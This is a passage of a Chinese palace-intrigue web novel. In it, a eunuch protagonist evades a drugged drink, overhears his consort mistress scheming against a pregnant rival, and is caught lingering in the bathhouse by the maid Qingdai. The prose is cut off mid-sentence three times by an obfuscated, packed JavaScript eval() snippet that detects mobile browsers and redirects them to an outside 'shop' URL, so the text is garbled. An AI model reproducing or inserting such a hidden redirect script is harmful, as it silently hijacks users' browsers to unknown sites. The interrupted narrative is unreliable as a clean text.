最让关禧心头一跳的是,曹旺对面的条凳上,竟然放着一碗还冒着热气的饭菜,看菜色,甚至比中午的还要好些,旁边还摆着一双干净的筷子。 “哟!咱们的书斋先生,可算是睡醒了?”曹旺打了个酒嗝,伸手拍了拍旁边的条凳,“来来来,坐!给你留着饭呢!还热乎!” 另外两个太监也挤出不自然的笑容,附和道:“就是,小离子,快来,曹公公特意给你留的!” 关禧站在门口,没有立刻进去。曹旺的热情太反常了。他们之间从无交情,只有曹旺单方面的嫉恨与排挤。这酒,这特意留的饭菜,都透着一股阴谋的味道。尤其是那酒壶和酒碗,在昏暗灯光下,像蛰伏的毒蛇。 “谢曹公公好意。”关禧垂下眼,语气平静,“我不饿,曹公公和两位哥哥慢用。”说着,他转身就想离开。 “站住!”曹旺的声音猛地拔高,他摇摇晃晃地站起来,走到关禧面前,一股浓烈的劣质酒气混合着他身上的汗味扑面而来,“怎么?看不起咱家?还是觉得咱家不配请你吃饭喝酒?” 他凑近关禧,压低声音,却又确保旁边两人能听到:“小离子,咱们同在一个宫里当差,往日里……咳咳,可能有些误会。今儿个是万寿节,大喜的日子!陛下都与民同乐,咱们底下人,也该乐乐,化干戈为玉帛,你说是不是?” 他不由分说,一把抓住关禧的手腕,力道很大,将他往桌边拖:“就一碗饭,一杯酒!喝了这杯酒,往日的不痛快,一笔勾销!以后在承华宫,哥哥我罩着你!” 关禧被他拽得一个趔趄,手腕被攥得生疼。他挣了一下,没挣脱。曹旺虽然喝了酒,但力气不小,而且显然打定了主意不让他走。另外两个太监也围了过来,隐隐堵住了去路。 “曹公公,我真的不饿,也不会喝酒……”关禧试图挣脱,心中警铃狂响。这酒绝对不能喝! “不会喝?学嘛!”曹旺将他按在条凳上,拿起那个酒壶,哗啦啦倒满了一碗浑浊的酒液,酒气更加刺鼻。他将酒碗重重地放在关禧面前,“是男人,就得会喝!还是说……你这半残的身子,连酒也消受不起?” 最后那句话,恶意几乎不加掩饰。旁边两个太监发出附和的笑声。 关禧看着面前那碗浑浊的酒液,在昏暗灯光下泛着可疑的泡沫。他毫不怀疑,这酒里肯定加了料。曹旺想干什么?让他醉酒失态,触犯宫规?还是……有更歹毒的打算?万寿节期间,若是闹出太监酗酒滋事,甚至秽乱宫闱的丑闻,他必死无疑,还可能牵连承华宫。 绝不能喝。 他抬起头,脸上勉强挤出一点笑容:“曹公公盛情,小的实在不敢当。只是……我身上有旧伤,娘娘和青黛姐姐都叮嘱过,忌食辛辣,更忌饮酒。若因一杯酒坏了身子,耽误了娘娘交代的差事,我实在担待不起。不如……不如以茶代酒,敬公公一杯?” “旧伤?”曹旺嗤笑一声,眼神在他下半身瞟了一眼,意味深长,“你那伤……不是早好了吗?在承华宫吃香喝辣,养得细皮嫩肉的,喝点酒算什么?还是说,你根本不给咱家这个面子?看不起咱家?” 他语气越来越重,眼神也愈发凶狠,显然打定主意要逼关禧喝下这碗酒。旁边两个太监也跟着帮腔,棚屋内的气氛陡然紧张起来。 关禧的心沉到了谷底。他知道,今天恐怕很难善了。曹旺是有备而来,借着酒劲,就是要把他往死里整。硬抗,对方人多势众,又喝了酒,什么事都做得出来。喝,那更是自寻死路。 电光火石间,他目光扫过桌上的酒壶和酒碗,又瞥见曹旺因为激动而微微颤抖的手。 “曹公公息怒!我……我岂敢不给公公面子!只是……只是这酒,闻着就烈,我实在是……怕一口下去就倒了,反而扫了公公和各位哥哥的兴。”他一边说,一边像是害怕极了,伸手去端那酒碗,手指却“不小心”碰到了碗沿。 “啪!” 酒碗被他“慌乱”中碰倒,浑浊的酒液泼洒出来,溅湿了桌面,也溅了几滴在他自己的袖口上。 “哎呀!我笨手笨脚!”关禧慌忙站起,连声道歉,用袖子去擦桌上的酒渍,却显得更加手忙脚乱,将酒壶也带得一晃。 曹旺没料到他来这一出,先是愣了一下,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940801|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即勃然大怒:“你个废物!连个碗都端不住!”他心疼地看着泼洒的酒,那里面可是加了好东西的。 “我该死!我这就给公公再倒上!”关禧像是吓坏了,伸手去拿酒壶,手指却在壶身上快速一抹,沾了些未干的酒液,然后借着擦拭桌面的动作,极其迅速地将手指在嘴边碰了一下,用舌尖尝了极微的一丁点。 一股极其辛辣刺激的味道在舌尖炸开,但除此之外,还有一丝若有若无的苦涩和……某种难以形容的甜腻后味?不像是普通的劣酒,这味道不对。 这酒里果然加了东西,而且绝不仅仅是让人醉倒那么简单,那丝甜腻的后味,让他联想到一些极其不好的传闻,关于某些下作药物…… 他绝不能沾。 “倒酒啊!磨蹭什么!”曹旺吼道,一把抢过酒壶,亲自又倒了一碗,推到关禧面前,眼神狠厉,“这次,给老子好好端着!一滴都不许洒!喝!” 另外两个太监也上前一步,呈包围之势。 关禧看着眼前这碗新的酒,额角渗出冷汗。泼洒一次是意外,再来一次,曹旺绝不会罢休。 “吵吵嚷嚷的,成何体统!” 一个清冷的女声,骤然在膳棚门口响起。 众人骇然回头。 只见青黛穿着一身略显风尘的淡青色宫装,脸上带着奔波后的疲惫,但眼神却锐利如刀,正冷冷地扫视着棚内的一切。她的目光掠过桌上狼藉的酒渍,空盘,酒壶,最后定格在曹旺通红的脸,围住关禧的两人,以及关禧面前那碗满满的,浑浊的酒液上。 曹旺的酒瞬间醒了大半,脸上的凶悍变成了惊惶,连忙松开抓着关禧的手,噗通一声跪倒在地:“青、青黛姑娘!您、您怎么回来了……” 另外两个太监吓得魂飞魄散,跟着跪下,头都不敢抬。关禧也顺势退开两步,垂下头,心脏仍在狂跳,后背已被冷汗浸透。 青黛缓缓走进棚屋,脚步声在寂静中格外清晰。她走到桌边,低头看了看那碗酒,又抬眼看了看关禧惨白的脸色和溅了酒渍的袖口,最后,目光落在跪在地上,浑身发抖的曹旺身上。 “万寿节大典之日,宫规明令禁止下人私聚饮酒。”她的声音不高,却带着冰碴,“曹旺,你好大的胆子。” “姑娘饶命!姑娘饶命!”曹旺磕头如捣蒜,“奴才……奴才只是一时糊涂,想着过节……绝无下次!绝无下次了!” “一时糊涂?”青黛弯腰,拿起那个酒壶,凑近鼻端闻了闻,眉头立刻蹙起,眼神变得更加冰冷,甚至还闪过一丝极快的厌恶,“这酒……味道倒是特别。” 曹旺身体剧震,脸如死灰,瘫软在地,再也说不出一句完整的话。 青黛不再看他,转向关禧:“你没事吧?” 关禧深吸一口气,稳住声音:“回姐姐,小的无事。曹公公……只是邀小的喝一杯,小的不会饮,正要推辞,姐姐便来了。” 青黛盯着他看了几秒,似乎想从他脸上看出什么,最终只是淡淡道:“不会饮是好事。宫中当差,最忌贪杯误事,更忌……心思不正。”她意有所指地瞥了一眼瘫软的曹旺。 “你们两个,”她指向跪着的另外两个太监,“把曹旺拖回他屋里看管起来,没有我的允许,不准踏出房门半步,明日再行发落。” “是!是!”那两个太监如蒙大赦,连拖带拽地把几乎瘫软的曹旺架了起来,踉踉跄跄地退了出去。 膳棚内只剩下青黛和关禧两人,以及一桌狼藉和那刺鼻的酒气。 青黛将酒壶重重放在桌上,发出沉闷的响声,她看向关禧,语气恢复了平日那种听不出情绪的平静,“万寿节夜宴未散,娘娘体恤,让我先回来看看。倒是赶上一出好戏。” 关禧低着头:“是小的处事不当,惹来麻烦,劳烦姐姐了。” “麻烦不是你的。”青黛打断他,目光再次落在那碗酒上,眼神幽深,“这宫里头,想找麻烦的人,从来不会缺了由头。今日你若不慎喝了这酒……”她没有说下去,但话里的寒意让关禧不寒而栗。 “把这收拾了。”青黛命令道,“然后回你自己屋里待着,今夜无事不要出来走动了。” “是,姐姐。”关禧连忙应下,开始动手收拾桌上的碗盘和酒渍。 青黛站在原地,看着他动作利落地清理,忽然又开口,声音低了些,像是自言自语,又像是说给他听: “巴山的夜雨……终究是涨了秋池。” 关禧擦拭桌面的手一僵,指尖微微发颤。 她看到了。那首诗。 他不敢抬头,也不敢接话,头垂得更低,默默地将污秽擦净,将碗筷收起。 青黛没有再说什么,转身,淡青色的身影融入了门外沉沉的夜色中。 28.第 28 章 不知过了多久,外面传来更梆声,三更了。 庆典应该接近尾声,或者已经结束了。 承华宫前院方向传来了动静。不是喧闹,而是一种刻意放轻,却因人数不少而无法完全掩盖的脚步声,环佩轻撞声,以及听不真切的交谈声。 她们回来了。 关禧从床上爬起来,走到门边,侧耳倾听。那动静径直往正殿方向去了,随后,正殿的灯火更明亮了些,人影在窗纸上晃动。 又过了一会儿,一阵略显急促的脚步声由远及近,停在了他的门外。不是青黛,脚步更沉些。 “小离子?睡下了吗?”是陈立德的声音。 关禧立刻打开门:“陈公公,小的还未歇下。” 陈立德站在门外,脸色在廊下昏暗的灯光下显得有些晦暗不明,他快速打量了关禧一眼,见他衣衫整齐,神色虽有些苍白但还算镇定,便道:“娘娘回来了,身上乏得很,要沐浴解乏。青黛姑娘那边……怕是不得空,你……去浴堂那边候着,看看热水、香膏、换洗衣物可都齐备了。仔细些,别出岔子。”他说罢,又补充道,“就在外间候着,没叫你别进去。机灵点。” 让他去浴堂候着?在这个时辰?关禧心头一紧,立刻联想到那晚浴堂的惊魂,以及青黛最后那句意味深长的话,但他不敢质疑,更不敢拒绝,连忙应道:“是,小的这就去。” 陈立德点点头,没再多说,转身匆匆走了,背影消失在回廊拐角,似乎还有别的事要忙。 关禧定了定神,回屋飞快地检查了一下自己的衣着,确认无误,这才朝着承华宫后方那处他既熟悉又恐惧的浴堂走去。 浴堂所在的小院静悄悄的,与前殿隐约的忙碌截然不同。廊下只悬着一盏气死风灯,光线昏黄。浴堂的门虚掩着,里面透出温暖的水汽和清雅的檀香气息,是冯昭仪惯用的沐浴香膏的味道。 关禧没敢直接进去,先在门口停下,侧耳听了听。里面只有潺潺的水声,是池水在流动,没有其他动静。他轻轻叩了叩门板,低声道:“娘娘,青黛姐姐,小的奉命过来看看热水器物可都齐备。” 里面静了一瞬,随即传来冯媛的声音,“进来吧,在外间候着便是。”隔着水汽,听起来比平日更慵懒,也更疲惫。 “是。”关禧推门进去,反手将门虚掩。 外间与他上次光顾时并无太大变化,只是多了一盏更亮的琉璃灯,将室内的汉白玉池壁,光洁的地面照得清晰了些。空气中水汽氤氲,混合着檀香与一种青草般的清新气息,是浴池边矮几上燃着的香炉里散发出来的。 内间通往浴池的门垂着厚厚的青色纱帘,此刻纱帘并未完全放下,留着一道缝隙。透过缝隙,能看到氤氲升腾的白色水汽,以及浴池一角。水声正是从里面传来。 关禧不敢多看,立刻垂眼,规规矩矩地站在外间靠墙的位置,快速扫视外间,干净柔软的浴巾叠放整齐,备用的香膏澡豆放在触手可及的漆盘里,一套月白色的干净寝衣搭在紫檀木衣架上,熏笼里燃着淡淡的安息香,显然是用来熏暖待会儿要穿的衣物。一切井井有条,无需他再多做什么。 他只需安静地站在这里,等待可能的吩咐。 内间的水声持续着,偶尔夹杂着极轻的水波晃动声。沉默在温暖湿润的空气里蔓延,只有香炉里香料细微的噼啪声,和关禧刻意放缓的呼吸声。 过了约莫一盏茶的时间,水声停了。 片刻后,青黛的声音从内间传来,“小离子,娘娘要更衣了,把熏笼上的寝衣递进来。” “是。”关禧应道,小心翼翼地将那套月白色寝衣从衣架上取下。触手柔软微温,带着安息香宁神的气息。他捧着衣服,走到内间门口,隔着纱帘,恭敬地递了进去。 一只湿漉漉,肌肤白皙的手臂从纱帘后伸出,接过了衣物。是青黛的手,指尖被热水泡得微微泛红。 关禧迅速收回手,退后两步。 内间传来窸窸窣窣的穿衣声,还有青黛极低的询问和冯媛同样低微的回应。又过了一会儿,纱帘被轻轻挑起。 冯媛走了出来。 她穿着一身月白色软绸寝衣,长发湿漉漉地披散在身后,发梢还在滴水,浸湿了肩头一小片衣料,透出底下肌肤柔润的轮廓。脸上未施脂粉,被热水蒸腾出自然的红晕,眼角眉梢带着浓得化不开的倦意,那倦意不只是身体上的疲惫,更似一种心力交瘁后的空茫。她的眼神落在关禧身上,像是看见了,又像是没看见,目光有些涣散。 青黛紧随其后,也已换上了一套干爽的淡青色便装,头发同样湿着,简单挽在脑后。她的神色比冯媛凝重得多,眉头微蹙,嘴唇抿成一条直线,眼神沉郁。 “娘娘,小心脚下。”青黛搀扶着冯媛,走到外间一张铺着软垫的贵妃榻旁。 冯媛依言坐下,青黛立刻拿起一块干燥柔软的大布巾,站在她身后,开始为她绞干头发。动作轻柔熟练。 关禧垂首肃立,努力降低自己的存在感。他能感觉到,两人之间弥漫着一种山雨欲来的压抑。万寿节夜宴上,一定发生了非同寻常的事情。 果然,青黛一边绞着头发,一边用极低的声音,打破了沉默:“娘娘,此事……还需早做打算。玉芙宫那边既然敢当众宣布,必是有了十足把握,太医署那边,怕是早已打点妥当。如今阖宫上下,乃至前朝,恐怕都已传遍了。” 冯媛闭着眼,任由青黛摆布,闻言只是极轻地“嗯”了一声,听不出情绪。 宣布?宣布什么?关禧心中疑窦顿生。 青黛继续道,声音压得更低,但在这寂静的浴堂里,依旧清晰地传入关禧耳中:“陛下虽然……虽然未露太多喜色,但太后娘娘当场便赏了玉芙宫诸多珍宝,还嘱咐太医署精心照料。皇后娘娘虽也说了几句场面话,可那笑意……未达眼底。眼下,徐昭容风头无两,怕是连皇后娘娘,也要暂避其锋芒了。” 冯媛终于睁开眼,眼中一片清明冷静,方才的倦怠空茫仿佛只是错觉。她看着前方空气中氤氲未散的水汽,指尖无意识地摩挲着寝衣袖口细腻的绣纹,缓缓开口,声音平静:“陛下登基数载,后宫一直无所出,太后与朝臣们早已心急如焚。如今徐昭容有孕,无论是男是女,都是皇室血脉,是天大的喜事。陛下即便心中另有计较,于情于理,都会维护。太后更是如此。” “至于皇后娘娘……中宫无所出,如今让一个昭容抢了先机,心中作何想法,外人不得而知。但玉芙宫如今是众矢之的,亦是烈火烹油,皇后娘娘协理六宫,自然更要尽心尽力保这一胎安稳。” 这话里的意味,关禧听得心惊。冯昭仪这是在说,皇后表面要保徐宛白的胎,实则……可能更希望这一胎出点意外?而皇帝和太后的态度,则是徐宛白此刻最大的护身符。 青黛手下动作未停,语气却带上了几分忧急:“娘娘,正因如此,咱们才更不能坐视。徐昭容此人,骄纵跋扈,毫无容人之量。从前她便处处与娘娘为难,若真让她凭着子嗣更进一步,甚至诞下皇子……这后宫,焉能有我承华宫的立足之地?陛下虽未设贵妃,但四妃之位尚有空悬,若她母凭子贵,晋位妃位,协理宫务之权,恐怕……” 后面的话她没有说下去,但意思再明白不过。徐宛白一旦凭借孩子上位,第一个要打压的,就是协理宫务且与她素有嫌隙的冯媛。冯媛如今昭仪之位已是嫔妃中的顶峰,再往上便是妃,若被徐宛白抢先,形势将极为被动。 冯媛沉默了片刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16948188|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浴堂内只余布巾摩擦湿发的细微声响,和香炉里袅袅升腾的轻烟。 “子嗣……确实是后宫女子最大的倚仗。只可惜,这倚仗来得太巧,也太急了些。陛下是什么性子,你我多少知道一些。徐宛白用了什么手段才得了这一胎,瞒得过别人,未必瞒得过陛下,更瞒不过太后那双眼睛。” 青黛眼睛微亮,“娘娘的意思是……” “陛下和太后,此刻需要的是一个健康的孩子,一个名正言顺的皇室继承人。至于这孩子的母亲是谁,用了什么法子怀上,在子嗣面前,都可以暂时搁置。”冯媛冷静地分析,“所以,现阶段,没有人会去深究徐宛白的功劳,反而都会尽力保她这一胎。我们要动的,不是这一胎,而是……”她抬起眼,看向青黛,眸中闪过一丝锐光,“让她即便生下孩子,也再无可能凭此更进一步,甚至……连现有的,都保不住。” 青黛会意,“娘娘是说,借力打力?皇后娘娘那边……” “皇后是中宫,有统摄六宫、教养皇子皇女之责。徐宛白若不安分,或是孩子有什么闪失,第一个被问责的,便是皇后。我们只需……让该看见的人,看见该看见的东西。比如,玉芙宫过分的奢靡,比如,某些来路不明的赏赐,比如……徐昭容与她那位在吏部任职的兄长,过于频繁的往来。” 关禧在一旁听得背脊发凉。冯媛这是要明修栈道暗度陈仓,表面上不动徐宛白的胎,甚至可能示好,暗地里却在收集徐宛白及背后家族的错处,关键时刻抛出来,借皇后或朝堂之力,将其打落尘埃。而来路不明的赏赐,是否就是指那醉仙引? 青黛显然早已与冯媛心意相通,点头:“奴婢明白了。玉芙宫近日用度逾制之处,还有徐昭容兄长在外朝的些许动作,奴婢已着人留意。只是……徐昭容如今有孕,陛下和太后关注甚多,咱们的动作需得加倍小心,不能留下任何把柄。” “这是自然。”冯媛重新闭上眼,有些累了,“那些记录,都交由你仔细保管。至于小离子……”她话锋一转,提到了静立一旁的关禧。 关禧心头一跳,连忙将头垂得更低。 “他心思细,字也好,那些明面上的往来记录、用度核对,不妨让他也多经手。有些东西,越是摆在明面上,越是不惹人怀疑。”冯媛的语气听不出喜怒,仿佛只是在安排一件寻常差事,“况且,他这张脸……王公公当初那般费心,陛下也是问过一句的。放在承华宫,总比放在别处,更让人放心些。” 这最后一句,意味深长。关禧瞬间明白了冯媛的用意,将他这个陛下问过一句的潜在侍寝人选放在身边,既是一种对皇帝隐晦的迎合或表态(看,您感兴趣的人在我这里,我替您照顾/看着),也是一种自我保护(人在我这儿,出了事与我无关,得了好或许能沾光)。同时,让他处理那些明面上的记录,既是利用他的细心,也是将他进一步卷入这滩浑水,绑在承华宫的战车上。 青黛看了关禧一眼,应道:“是,奴婢会安排。”她顿了顿,像是忽然想起什么,“对了,娘娘,还有一事。今日宴席中途,皇后娘娘曾离席片刻,奴婢瞧见……她身边的海棠姑姑,与永寿宫的江嬷嬷,在偏殿廊下说了好一阵子话。虽听不真切,但看神色,不似寻常寒暄。” 冯媛睫毛微颤,缓缓睁开眼:“江嬷嬷……太后她老人家,果然也是坐不住的。”她沉吟道,“皇后无子,太后定然心急。徐宛白这一胎,太后看重,皇后却未必乐见。太后与皇后之间……恐怕也非铁板一块。这倒是个机会。” 她站起身,湿发已被绞得半干,柔顺地披在身后,“今日便到这里吧。我乏了,你也早些歇着。明日……怕是更不太平。” “是,娘娘。”青黛扶着她,径直走出了浴堂。 29.第 29 章 浴堂的门被轻轻带上,隔绝了外面廊下微弱的光,也带走了那两道浸染着水汽的身影。 浴堂内,重新恢复了寂静。 关禧独自站在外间,一时间竟有些恍惚。方才那些话语,徐昭容有孕,后宫暗涌,借力打力,像冰冷的铅块,沉甸甸地压在他心口,提醒着他身处何地,面临的又是何等漩涡。可另一种截然不同的情绪,却在他胸腔里左冲右突,几乎要破膛而出。 他缓缓抬起头,目光先是落在冯媛方才坐过的贵妃榻上,软垫微微凹陷,仿佛还残留着主人身体的温热与重量。空气中,那清雅的檀香与安息香尚未散去,又混合着一缕属于女性沐浴后特有的温润体香,丝丝缕缕,萦绕鼻端。 然后,他的视线不由自主地飘向了内间。 那道青色纱帘半挑着,里面氤氲的白雾比方才淡了些。水声已歇,万籁俱寂,只有他自己越来越响的心跳,咚咚地撞击着耳膜。 冯昭仪和青黛……刚刚就在这里沐浴。 这个认知像一颗投入心湖的石子,激起的涟漪远比听到徐昭容有孕时更加汹涌复杂。 关禧,或者说这具名为小离子的躯壳里,那个来自二十一世纪的少女灵魂,在此刻难以抑制地躁动起来。她喜欢女生,这一点在穿越前或许只是懵懂的好感和隐秘的倾向,未曾宣之于口,甚至未曾仔细梳理。但在这压抑扭曲,尤其是太监身份带来无尽屈辱与不适的深宫之中,这份取向反而成了她内心深处唯一一点未曾被完全玷污,暗自庆幸的自我。 而眼前这两位…… 冯媛,清丽如江南水墨,温婉似月下幽兰,那份超越年龄的从容与洞察世事的智慧,让她在惊艳之余,更多是仰望与敬畏,像欣赏一幅只可远观不可亵玩的名画。青黛,冷艳如雪中寒梅,疏离似山巅孤月,那份隐藏在恭顺下的锐利,偶尔流露的复杂情愫,以及对自己那种说不清道不明的兴趣,让她既畏惧,又难以克制地被吸引。 更致命的是,她们之间的关系。 主仆?知己?还是……更多? 穿越以来,在承华宫的这些日子,关禧早就暗暗观察了无数遍。青黛对冯媛,绝不仅仅是忠心的奴婢对主子。那份细致入微的照顾,超越职责的维护,眼神交汇时无需言语的默契,以及……偶尔流露出的,连青黛自己可能都未察觉过于专注的凝视。而冯媛对青黛,那种全然的信赖,将最隐秘的心事与最危险的谋划坦然相告的倚重,以及在疲惫时不经意流露的依赖……这哪里是寻常主仆? 私下里,关禧早就磕生磕死了。在这冰冷残酷,处处算计的后宫里,这份超越身份,甚至可能超越性别的情感羁绊,是她灰暗生活中唯一一抹带着暖色和甜味的遐想。哪怕只是她的脑补,也足够慰藉无数个孤独惶恐的夜晚。 而现在!她!们!刚!刚!一!起!洗!澡!了! 青黛还下水了,亲手服侍,绞干头发,那么近的距离,氤氲的水汽,湿透的衣衫,低声的交谈…… 关禧的呼吸骤然急促起来,脸颊不受控制地开始发烫,心跳再次加速。 他鬼使神差地,向前挪了一步。又一步。 脚下光洁的汉白玉地面还带着湿意,映出他模糊变形的倒影。 内间的景象渐渐清晰。宽大的浴池水波微漾,水面漂浮着几片新鲜的花瓣,是茉莉和兰草,正缓缓打着旋儿。池边矮几上,用过的香膏瓷盒敞开着,澡豆盛在玉碗里,旁边随意搭着两条用过的,湿漉漉的布巾。其中一条较大,显然是用来包裹湿发的,另一条稍小,质地格外柔软,边缘绣着不起眼的兰草纹样,那是青黛惯用的。 一切痕迹都显示着,片刻之前,这里曾有两具曼妙的身体浸入水中,舒展,放松,或许还有低声的交谈,甚至……更亲密的接触? 关禧的想象力不受控制地狂奔起来。 冯媛靠在池边,乌发如云散落水中,青黛站在她身后,指尖带着香膏,轻柔地划过那光滑细腻的肩颈……热气蒸腾,模糊了视线,也模糊了某些界限……青黛冷淡的眉眼在水汽中是否也会柔和下来?冯媛闭目享受时,唇角是否会勾起只对身后人展露的笑意?她们会说些什么?是继续刚才那些沉重的权谋算计,还是会有片刻,只属于她们自己无关外界的私语? ……打住! 关禧甩了甩头,想把那些过于具体,带着画面和触感的想象甩出去,可越是这样,思绪反而越发不受控制。 他一边机械地开始收拾外间,将熏笼移回原位,整理冯媛用过的布巾,擦拭矮几上溅出的水渍,一边眼神却总忍不住往内间瞟。 终于,他按捺不住,端着盛放脏布巾的木盆,脚步轻轻地挪进了内间。 浴池里的水还是温的,清澈见底,能看见池底精雕细琢的莲纹。水面上的花瓣悠悠飘荡。空气里的香气更浓了,那是香膏,花瓣,还有……她们身上气息混杂后的味道,温暖得令人心头发颤。 关禧蹲在池边,假装检查池水是否需要更换,目光却扫过每一个角落。池边光滑的石面上有未干的水迹,是赤足踩踏留下的浅浅印记,大小不同……他的心跳又快了几拍。旁边矮凳上,还放着一把牛角梳,梳齿间缠绕着几根乌黑的发丝,分不清是冯媛的还是青黛的,或许……都有。 他的目光落在青黛那条绣着兰草的布巾上,指尖动了动,终究没敢去碰,盯着那精细的纹样,脑子里又开始天马行空:青黛用这条布巾,是只擦了手,还是也……她替冯媛绞发时,指尖是不是也这样缠绕过娘娘的发丝?娘娘闭着眼,任由她摆布时,心里在想什么?青黛看着娘娘疲惫的侧脸,那冷冽的眉眼,会不会有一瞬间化开,流露出藏得极深的…… “好看吗?” 一个清冷的声音,如同冰锥,毫无预兆地刺破了他沸腾的思绪和满室温暖的寂静。 关禧浑身一僵。 他保持着蹲在池边的姿势,脖子像生了锈的机括,一寸寸,极其艰难地扭过去。 浴堂通往更衣处的侧门边,青黛不知何时去而复返,正静静地站在那里。她已经重新绾好了头发,一丝不乱,身上的淡青色便装也平整得没有一丝褶皱。脸上没有任何表情,只有那双眼睛,在氤氲未散的水汽和昏黄灯光映照下,深得像两口古井,清晰地倒映出关禧此刻蹲在池边,脸上来不及完全收敛,混合着兴奋遐想与被骤然抓包的复杂神情。 她手里拿着一个巴掌大小的锦囊,像是回来取落下的东西。 时间仿佛凝固了。 关禧脑子里一片空白,方才那些翻涌带着粉红色泡泡的嗑生磕死瞬间被冻成冰渣,然后粉碎,只剩下无边的恐惧。 青黛的目光,从他惊恐失色的脸,慢慢移到他蹲着的姿势,再移到他面前那池飘着花瓣的水,最后,落在他无意识攥紧沾了些水渍的袖口上。 她向前走了一步。 关禧吓得几乎要向后跌坐进池子里,堪堪用手撑住池沿,指尖冰凉。 青黛却没有再靠近,停在了离他几步远的地方,微微偏着头,像是在仔细审视他脸上每一丝细微的表情变化,“我倒是忘了,这浴堂还需收拾。看来,你收拾得很用心?” 关禧喉咙干涩得如同火烧,他拼命想低下头,避开那仿佛能穿透皮肉直视灵魂的目光,可身体却僵硬得不听使唤,“小、小的……正准备收拾……” “准备?”青黛的唇角极轻微地弯了一下,那弧度冰冷,没有半分笑意,“我看你,看得挺入神。这池水,这花瓣……可有什么特别之处,让你如此流连忘返?” 她顿了顿,目光再次落回关禧脸上,这一次,那古井般的眼底,掠过一丝极其幽微,难以辨别的情绪,像是探究,又像是某种更深沉的考量。 “还是说……你看到的,不只是水和花瓣?” 这句话像一把精准的匕首,剖开了关禧所有自欺欺人的掩饰,他整个人颤抖起来,连撑着池沿的手都开始不稳。 完了,他想。 不仅身处生死险境,好像连自己那点来自现代不合时宜的爱好,都在这诡异的深宫里,被那双过于锐利的眼睛,看了个透透的。 青黛将他所有的反应尽收眼底,没有继续逼问,沉默了片刻。 浴堂内再次只剩下水汽无声升腾,以及关禧越来越急促的喘息声。 良久,青黛才轻轻叹了一口气。 “小离子,”她唤他,语气恢复了平日那种听不出喜怒的平淡,“在这宫里,有时候,眼睛看到的东西,未必是真的。心里想的东西,更是要牢牢锁住,一丝一毫都不能露出来。” 她向前又走了几步,距离关禧更近了些。关禧能闻到她身上沾染了外面夜露的微凉气息,与她固有的清冽味道混合在一起。 “好奇,是人之常情。但好奇过了头,看到了不该看的,想到了不该想的……会要命的。尤其是,关乎主子们的事情。” 她微微俯身,逼近关禧,两人的距离近到关禧能看清她眼中自己惨白惊惶的倒影,能感觉到她呼吸间细微的气流拂过自己额前的碎发。 “今晚,你只是奉命在此等候,收拾浴堂。你看到了娘娘疲惫,需要沐浴解乏。你看到了我伺候娘娘更衣。你收拾了用过的布巾,检查了池水。除此之外,你什么也没看见,什么也没听见,更……什么也没想过。” “明白了吗?” 关禧被她眼中那份压力迫得拼命点头,喉咙里发出含糊的呜咽:“明、明白了……小的明白……小的什么也没……没……” “很好。”青黛直起身,拉开了距离。 “把这里收拾干净,池水不用换,自会有人处理。然后,立刻回你房里去。记住我说的话。若让我发现,你有半点记不住,或管不住自己的眼睛和脑子……” 她没有说下去,但未尽之言比任何明确的威胁都更让人胆寒。 “……”关禧腿一软,瘫软在池边,浑身冷汗淋漓,像是刚从水里捞出来,又像是被抽走了所有力气。 青黛居高临下地看着他。 少年瘫在汉白玉池边,像一株被骤雨打蔫了的藤蔓,靛青色的太监服下摆浸在未干的水渍里,紧贴着颤抖的腿骨。冷汗浸透了他单薄的脊背,在昏黄灯光下洇出深色的痕,额发湿漉漉地黏在惨白的额角,唇色淡得几乎透明,只有那双因极度惊惧而睁大的眼睛,还残留着一点湿亮。 她见过许多恐惧的面孔,在深宫,恐惧是最寻常不过的情绪。但眼前这张脸上的恐惧,似乎格外……生动。生动得让她想起自己很多年前,第一次意识到命运不由己时,指尖掐进掌心的刺痛。 她沉默地看了他几息,然后,竟缓缓弯下腰,伸出了手。 那只手,手指纤长,骨节分明,指甲修剪得圆润干净,透着健康的淡粉色。它悬在关禧眼前,没有触碰,只是一个静默的邀请。 关禧呼吸更乱了。他盯着那只手,仿佛那是什么噬人的毒蛇,又或是能将他从这无底恐惧中拉起的唯一浮木。屈辱与后怕,以及对这只手主人的复杂情绪,让他喉咙发紧,一个字也吐不出来。 “起来。”青黛说,“地上凉。” 关禧颤抖着,迟疑地将自己犹自不稳的手,搭了上去。 触手是微凉的肌肤,却奇异地带了点力度,青黛将他从湿滑的池边拉了起来。关禧腿脚虚软,踉跄了一下,又要栽倒,青黛另一只手极快地扶了一下他的胳膊,旋即松开。 “谢……谢谢青黛姐姐。”关禧站稳,低着头,声音嘶哑得厉害。 青黛收回了手,指尖无意识地捻了捻,退后半步,重新拉开一点距离,轻轻重复了一遍这个名字,“青黛……不过是个下人名儿。叫着顺口罢了。” 关禧茫然地抬起一点眼睫,不解其意。 昏黄的光线下,青黛的侧脸线条显得格外清晰,又似乎有些遥远,她望着浴池中那渐渐不再打旋的花辦,声音轻得像自言自语,却又足够让关禧听清:“我本家姓楚,单名一个玉字。” 楚玉。 关禧心头微震。这像是一个秘密,一个将她与青黛这个符号化的宫女身份剥离开来的,属于她个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 